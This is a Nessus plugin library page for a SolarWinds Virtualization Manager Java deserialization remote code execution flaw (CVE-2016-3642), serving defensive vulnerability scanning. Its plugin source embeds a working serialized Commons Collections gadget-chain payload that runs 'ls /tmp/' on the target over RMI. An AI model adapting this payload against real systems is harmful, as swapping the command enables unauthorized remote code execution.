SolarWinds Virtualization Manager Java Object Deserialization RCE - Nessus

Critical   Plugin ID: 92040

This page contains detailed information about the SolarWinds Virtualization Manager Java Object Deserialization RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents
hide

Plugin Overview

ID: 92040
Name: SolarWinds Virtualization Manager Java Object Deserialization RCE
Filename: solarwinds_virtualization_manager_rmi_deserialization.nasl
Vulnerability Published: 2016-06-14
This Plugin Published: 2016-07-13
Last Modification Time: 2022-04-11
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: Misc.
Dependencies: rmiregistry_detect.nasl, solarwinds_virtualization_manager_detect.nbin
Required KB Items [?]: installed_sw/SolarWinds Virtualization Manager

Vulnerability Information

Severity: Critical
Vulnerability Published: 2016-06-14
Patch Published: 2016-06-01
CVE [?]: CVE-2016-3642
CPE [?]: cpe:/a:solarwinds:virtualization_manager
In the News: True

Synopsis

The remote SolarWinds Virtualization Manager server is affected by a remote code execution vulnerability.

Description

The remote SolarWinds Virtualization Manager server is affected by a remote code execution vulnerability due to unsafe deserialize calls of unauthenticated Java objects to the Apache Commons Collections (ACC) library. An unauthenticated, remote attacker can exploit this, by sending a specially crafted serialized Java object via the RMI interface, to execute arbitrary code with the privileges of the application.

Solution

Upgrade to SolarWinds Virtualization Manager version 6.3.2 or later.

Public Exploits

Target Network Port(s): 80, 1099, 5480
Target Asset(s): Services/www
Exploit Available: True (GitHub, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the SolarWinds Virtualization Manager Java Object Deserialization RCE vulnerability:

  1. GitHub: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
    [CVE-2016-3642]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2016-3642
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.1 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.1 (Critical)

Go back to menu.

Plugin Source

This is the solarwinds_virtualization_manager_rmi_deserialization.nasl nessus plugin source code. This script is Copyright (C) 2016-2022 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(92040);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2016-3642");
  script_bugtraq_id(91222);
  script_xref(name:"CERT", value:"576313");

  script_name(english:"SolarWinds Virtualization Manager Java Object Deserialization RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote SolarWinds Virtualization Manager server is affected by
a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote SolarWinds Virtualization Manager server is affected by a
remote code execution vulnerability due to unsafe deserialize calls of
unauthenticated Java objects to the Apache Commons Collections (ACC)
library. An unauthenticated, remote attacker can exploit this, by
sending a specially crafted serialized Java object via the RMI
interface, to execute arbitrary code with the privileges of the
application.");
  # https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6d83db");
  script_set_attribute(attribute:"solution", value:
"Upgrade to SolarWinds Virtualization Manager version 6.3.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-3642");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/06/14");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/06/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/07/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:virtualization_manager");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("solarwinds_virtualization_manager_detect.nbin", "rmiregistry_detect.nasl");
  script_require_keys("installed_sw/SolarWinds Virtualization Manager");
  script_require_ports("Services/www", 80, 5480, 1099);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("install_func.inc");
include("byte_func.inc");
include("audit.inc");
include("rmi.inc");

appname = "SolarWinds Virtualization Manager";
get_install_count(app_name:appname, exit_if_zero:TRUE);
port = 1099;
soc = rmi_connect(port:port);

# Due to the nature of this exploit, we can't see the result
# of the commands we execute. However, successful execution of
# our command will always result in a specific class cast exception
# being sent back to us. This object executes the command
# ls /tmp/ and we look for the failed cast to verify it executed.
request = '\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x14\x70\x77\x6e\x65\x64\x32\x35\x35\x33\x39\x35\x32\x36\x35\x30\x37\x38\x32\x35\x37\x73\x7d\x00\x00\x00\x01\x00\x0f\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x52\x65\x6d\x6f\x74\x65\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x70\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7e\x00\x00\x73\x71\x00\x7e\x00\x05\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x70\x78\x71\x00\x7e\x00\x02\x73\x71\x00\x7e\x00\x05\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x70\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x24\x73\x71\x00\x7e\x00\x1c\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x21\x73\x71\x00\x7e\x00\x1c\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00\x08\x6c\x73\x20\x2f\x74\x6d\x70\x2f\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f';
send(socket:soc, data:request);
res = recv(socket:soc, length:0x300, min:0x200);
close(soc);

if (isnull(res) || "Integer cannot be cast to java.util.Set" >!< res) audit(AUDIT_INST_VER_NOT_VULN, appname);

report =
  '\nNessus was able to exploit a Java deserialization vulnerability by' +
  '\nsending a crafted Java object.' +
  '\n';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/solarwinds_virtualization_manager_rmi_deserialization.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\solarwinds_virtualization_manager_rmi_deserialization.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/solarwinds_virtualization_manager_rmi_deserialization.nasl

Go back to menu.

How to Run

Here is how to run the SolarWinds Virtualization Manager Java Object Deserialization RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Misc. plugin family.
  6. On the right side table select SolarWinds Virtualization Manager Java Object Deserialization RCE plugin ID 92040.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl solarwinds_virtualization_manager_rmi_deserialization.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a solarwinds_virtualization_manager_rmi_deserialization.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - solarwinds_virtualization_manager_rmi_deserialization.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state solarwinds_virtualization_manager_rmi_deserialization.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID: CERT | Computer Emergency Response Team: See also: Similar and related Nessus plugins:
  • 144449 - SolarWinds Orion Platform < 2020.2.1 HF2 Multiple Vulnerabilities
  • 154954 - SolarWinds Virtualization Manager <= 6.3.1 Privilege Escalation
  • 124062 - SolarWinds DameWare Mini Remote Client Agent < 12.0.3 Stack Buffer Overflow
  • 130458 - SolarWinds Dameware Mini Remote Control Unauthenticated RCE
  • 86995 - SolarWinds DameWare Mini Remote Control < 12.0 Hotfix 2 SSLv3 Padding Oracle On Downgraded Legacy Encryption (POODLE)
  • 146309 - SolarWinds Orion Platform < 2019.4.2 Remote Code Execution
  • 146310 - SolarWinds Orion Platform < 2020.2.4 Multiple Vulnerabilities
  • 83817 - SolarWinds Orion Multiple SQLi Vulnerabilities
  • 62118 - SolarWinds Orion NPM < 10.3.1 Multiple Vulnerabilities
  • 155442 - SolarWinds Orion Platform 2020.2.0 < 2020.2.6 Multiple Vulnerabilities
  • 144622 - SolarWinds Orion Platform < 2019.4 HF6 / 2020.2 < 2020.2.1 HF2 Authentication Bypass (SUPERNOVA)
  • 91123 - SolarWinds Storage Resource Monitor Profiler < 6.2.3 Multiple Vulnerabilities (Logjam) (POODLE)
  • 87600 - SolarWinds Storage Manager AuthenticationFilter Script Upload RCE
  • 59116 - SolarWinds Storage Manager Server LoginServlet loginName Parameter SQL Injection
  • 86421 - SolarWinds Storage Resource Monitor < 6.2 ProcessFileUpload.jsp File Upload RCE
  • 47137 - SolarWinds TFTP Server < 10.4.0.13 DoS
  • 47138 - SolarWinds TFTP Server < 10.4.0.14 DoS

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file solarwinds_virtualization_manager_rmi_deserialization.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.